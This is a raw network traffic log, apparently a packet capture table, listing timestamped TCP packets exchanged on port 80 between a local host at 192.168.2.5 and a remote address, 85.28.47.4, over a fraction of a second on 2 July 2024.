Jul 2, 2024 04:12:00.058130980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058178902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058199883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058240891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058247089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058265924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058275938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058284044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058295965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058299065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058310032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058320999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058336973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058348894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.064907074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.064979076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.064982891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065027952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065046072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065093994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065112114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065165043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065171003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065217972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065237999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065288067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065301895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065346003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065373898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065385103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065403938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065423965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065424919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065438986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065460920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065462112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065478086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065480947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065495014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065502882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065515041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065522909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065527916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065542936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065548897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065560102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065566063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065571070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065583944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065588951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065596104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065606117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065618992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065619946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065629959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065639019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065650940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065653086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065665007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065671921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065685034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065690041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065700054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065701962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065721035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065721989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065738916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.065743923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.065779924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066597939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066636086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066651106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066665888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066710949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066730022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066778898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066792011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066838026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066838980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066881895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066885948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066924095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.066931963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.066972017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067002058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067047119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067050934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067085028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067085981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067106962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067116022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067126036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067142963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067147017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067162991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067164898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067183018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067188978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.067200899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.067223072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082303047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082341909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082364082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082375050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082382917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082391024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082396984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082421064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082443953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082457066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082459927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082468033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082474947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082494020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082499981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082510948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082519054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082526922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082547903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082551956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082564116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082571030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082571983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082591057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082602024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082621098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082629919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082638979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082645893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082686901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082694054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082711935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082725048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082741022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082750082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082750082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082755089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082757950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082771063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082782030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082784891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082799911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082801104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082809925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082820892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082824945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082844973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082854986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082854986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082864046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082875013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082880974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082901001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082905054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082916975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082916975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082940102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082945108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082951069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082953930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082977057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082982063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.082988024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.082988977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083014965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083025932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083029032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083045006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083059072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083072901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083085060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083091021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083091021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083091021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083103895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083120108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083133936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083142042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083142042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083149910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083151102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083168030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083178997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083194017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083198071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083204031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083214998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083229065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083237886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083245993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083254099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083261013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.083281040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.083303928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.141706944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141729116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141747952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141757965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141776085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141784906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141802073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.141885042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.141937017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.148138046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148196936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148205996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148222923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148236036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148250103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.148273945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148288965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148304939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.148309946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.148350000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154505968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154516935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154542923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154552937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154570103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154580116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154593945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154597044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154628038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154635906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154648066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154652119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154670000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154679060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154695034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154697895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154711962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154726028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154730082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154747963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154761076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154771090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154772043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154791117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154800892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154812098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154819012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154827118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154835939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154850960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154858112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154861927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154880047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154895067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.154912949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.154952049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.155728102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155739069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155756950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155771017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155778885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.155811071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.155846119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155858040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155874968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.155885935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.155919075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156148911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156160116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156181097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156200886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156204939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156217098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156225920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156236887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156245947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156254053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156269073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156274080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156279087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156299114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156327009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156330109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156338930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156358004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156369925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156373978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156384945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156393051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156409979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.156428099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.156452894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172000885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172101021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172111034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172128916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172132969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172147036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172161102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172169924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172183990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172200918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172202110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172213078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172224045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172229052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172240019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172250986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172264099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172271967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172282934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172298908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172313929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172337055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172348022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172367096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172377110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172384024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172395945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172415972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172425032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172440052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172441006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172457933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172461987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172468901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172475100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172491074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172497988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172503948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172509909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172523975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172525883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172559023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172560930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172574997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172576904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172589064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172612906 CEST	49704	80	192.168.2.5	85.28.47.4
